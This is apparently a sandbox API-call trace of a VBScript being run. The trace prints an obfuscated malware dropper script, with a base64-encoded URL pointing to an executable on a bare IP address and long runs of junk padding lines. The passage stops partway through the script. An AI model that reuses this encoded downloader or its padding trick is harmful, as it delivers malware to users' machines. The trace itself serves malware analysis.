VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x6689fedc*(Data1=0x4717cc40, Data2=0xbcb9, Data3=0x11d0, Data4=([0]=0x93, [1]=0x36, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c120 | out: ppvObject=0x14c120*=0x0) returned 0x80004002 [0076.689] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0076.689] ??2@YAPAXI@Z () returned 0x11977f0 [0076.689] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0076.689] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0076.689] IActiveScriptSite:OnScriptError (in: This=0x83fd480, pscripterror=0x11977f0 | out: pscripterror=0x11977f0*=0x6689473c) returned 0x1 [0076.689] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0076.689] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0076.689] VBScriptEngine5:IUnknown:AddRef (This=0x11977f0) returned 0x3 [0076.695] longjmp () [0076.695] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c40c | out: ppvObject=0x14c40c*=0x83fd480) returned 0x0 [0076.695] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668c4198*(Data1=0xc5598e60, Data2=0xb307, Data3=0x11d1, Data4=([0]=0xb2, [1]=0x7d, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfb)), ppvObject=0x14c408 | out: ppvObject=0x14c408*=0x0) returned 0x80004002 [0076.695] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14c404 | out: ppvObject=0x14c404*=0x83fd490) returned 0x0 [0076.695] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0076.695] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x6689fedc*(Data1=0x4717cc40, Data2=0xbcb9, Data3=0x11d0, Data4=([0]=0x93, [1]=0x36, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c40c | out: ppvObject=0x14c40c*=0x0) returned 0x80004002 [0076.695] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0076.695] IActiveScriptSite:OnScriptError (in: This=0x83fd480, pscripterror=0x11977f0 | out: pscripterror=0x11977f0*=0x6689473c) returned 0x1 [0076.695] SysStringLen (param_1="Microsoft VBScript runtime error") returned 0x20 [0076.696] SysStringLen (param_1="Object required: 'writer'") returned 0x19 [0076.696] VBScriptEngine5:IUnknown:AddRef (This=0x11977f0) returned 0x3 [0076.701] IActiveScriptSite:OnLeaveScript (This=0x83fd480) returned 0x0 [0076.701] ISystemDebugEventFire:IsActive (This=0x6ab1808) returned 0x1 [0076.704] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x4 [0076.704] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x3 [0076.704] ??3@YAXPAX@Z () returned 0x4f0001 [0076.704] IActiveScriptSite:GetDocVersionString (in: This=0x83fd480, pbstrVersion=0x1 | out: pbstrVersion=0x1) returned 0x80004001 [0076.735] VBScriptEngine5:IUnknown:Release (This=0x83fd2c8) returned 0x1 [0076.735] VBScriptEngine5:IActiveScript:SetScriptState (This=0x11a9bc8, ss=0) returned 0x0 [0076.735] GetUserDefaultLCID () returned 0x409 [0076.735] GetACP () returned 0x4e4 [0076.735] IUnknown:Release (This=0x1197760) returned 0x2 [0076.735] ??3@YAXPAX@Z () returned 0x260001 [0076.736] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x0 [0076.736] DOMDocument:IUnknown:Release (This=0x1112908) returned 0x0 [0076.741] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x1 [0076.741] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x0 [0076.746] free (_Block=0x11a9dd0) [0076.746] free (_Block=0x11c1e90) [0076.746] free (_Block=0x846edf8) [0076.746] free (_Block=0x87e3d78) [0076.746] free (_Block=0x11c6a50) [0076.746] free (_Block=0x8844768) [0076.746] free (_Block=0x844aed8) [0076.746] free (_Block=0x83d6fd0) [0076.746] free (_Block=0x8403970) [0076.746] ??3@YAXPAX@Z () returned 0xa40001 [0076.746] ISystemDebugEventFire:EndSession (This=0x6ab1808) returned 0x0 [0076.746] IUnknown:Release (This=0x6ab1808) returned 0x1 [0076.746] ??3@YAXPAX@Z () returned 0x740001 [0076.746] ??3@YAXPAX@Z () returned 0x620001 [0076.747] VBScriptEngine5:IUnknown:Release (This=0x83fd48c) returned 0x2 [0076.747] IUnknown:Release (This=0x6ab1808) returned 0x0 [0076.747] IActiveScriptSite:GetDocVersionString (in: This=0x83fd480, pbstrVersion=0x0 | out: pbstrVersion=0x0) returned 0x80004001 [0076.747] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x1 [0076.747] VBScriptEngine5:IUnknown:Release (This=0x11a9bcc) returned 0x2 [0076.747] VBScriptEngine5:IActiveScript:Close (This=0x11a9bc8) returned 0x0 [0076.747] VBScriptEngine5:IUnknown:Release (This=0x11a9bc8) returned 0x0 [0076.747] VBScriptEngine5:IActiveScript:Close (This=0x11a99c0) returned 0x0 [0076.750] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x0 [0087.081] DllGetClassObject (in: rclsid=0xc7d928*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), riid=0x66902bf4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x154768 | out: ppv=0x154768*=0x846e118) returned 0x0 [0087.081] ??2@YAPAXI@Z () returned 0x846e118 [0087.081] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x846e118, riid=0x66904714*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x0) returned 0x80004002 [0087.082] VBScriptEngine5:IClassFactory:CreateInstance (in: This=0x846e118, pUnkOuter=0x0, riid=0x66901c58*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154774 | out: ppvObject=0x154774*=0x11a99c0) returned 0x0 [0087.082] ??2@YAPAXI@Z () returned 0x11a99c0 [0087.082] GetUserDefaultLCID () returned 0x409 [0087.082] GetACP () returned 0x4e4 [0087.082] VBScriptEngine5:IUnknown:Release (This=0x846e118) returned 0x0 [0087.082] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908dc8*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x154798 | out: ppvObject=0x154798*=0x11a99c0) returned 0x0 [0087.082] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0087.082] VBScriptEngine5:IUnknown:AddRef (This=0x11a99c0) returned 0x2 [0087.083] VBScriptEngine5:IUnknown:Release (This=0x11a99c0) returned 0x1 [0087.083] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x11a99c0, riid=0x66908a40*(Data1=0xbb1a2ae2, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x846d258 | out: ppvObject=0x846d258*=0x11a99c4) returned 0x0 [0087.083] VBScriptEngine5:IActiveScriptParse32:InitNew (This=0x11a99c4) returned 0x0 [0087.083] VBScriptEngine5:IActiveScript:SetScriptSite (This=0x11a99c0, pass=0x83fd4f8) returned 0x0 [0087.083] GetCurrentThreadId () returned 0xd44 [0087.083] ??2@YAPAXI@Z () returned 0x1186b60 [0087.083] ??2@YAPAXI@Z () returned 0x83fd368 [0087.083] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689b67c*(Data1=0x539698a0, Data2=0xcdca, Data3=0x11cf, Data4=([0]=0xa5, [1]=0xeb, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x47, [6]=0xa0, [7]=0x63)), ppvObject=0x1186bb4 | out: ppvObject=0x1186bb4*=0x0) returned 0x80004002 [0087.083] VBScriptEngine5:IUnknown:AddRef (This=0x83fd4f8) returned 0x2 [0087.083] IActiveScriptSite:GetLCID (in: This=0x83fd4f8, plcid=0x154760 | out: plcid=0x154760*=0x800) returned 0x0 [0087.083] GetSystemDefaultLCID () returned 0x409 [0087.083] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x154730, cchData=6 | out: lpLCData="1252") returned 5 [0087.083] IsValidCodePage (CodePage=0x4e4) returned 1 [0087.085] IActiveScriptSite:GetDocVersionString (in: This=0x83fd4f8, pbstrVersion=0x5 | out: pbstrVersion=0x5) returned 0x80004001 [0087.085] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd4f8, riid=0x6689afa4*(Data1=0x51973c11, Data2=0xcb0c, Data3=0x11d0, Data4=([0]=0xb5, [1]=0xc9, [2]=0x0, [3]=0xa0, [4]=0x24, [5]=0x4a, [6]=0xe, [7]=0x7a)), ppvObject=0x11a9b4c | out: ppvObject=0x11a9b4c*=0x83fd504) returned 0x0 [0087.085] VBScriptEngine5:IActiveScriptSiteDebug32:GetApplication (in: This=0x83fd504, ppda=0x11a9b54 | out: ppda=0x11a9b54*=0x0) returned 0x80004001 [0087.085] CoCreateInstance (in: rclsid=0x6689b234*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6689b244*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x11a9b9c | out: ppv=0x11a9b9c*=0x6bcace8) returned 0x0 [0087.085] IUnknown:AddRef (This=0x6bcace8) returned 0x2 [0087.085] ISystemDebugEventFire:BeginSession (This=0x6bcace8, guidSourceID=0x6689b308, strSessionName="VBScript:00003392:00003396:12297480") returned 0x0 [0087.106] VBScriptEngine5:IActiveScriptParse32:ParseScriptText (in: This=0x11a99c4, pstrCode="\r\nfsdfdsfs = \"aHR0UDovLzEzLjkyLjEwMC4yMDgvZG9jL2RvYy5leGU=\" '9vnw9r\r\nyulkytjtrhtjrkdsarjky =\"ZG9jLmV4ZQ==\" '9vnw9r\r\n\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = \"2432423*23453567/2289574543+3458689324723*2785634875436/25675476247-27687567-96765763-35676486484+3689356348756347856\"\r\nveuifeig23e02i3r029u4r43j89uotjf893jt = 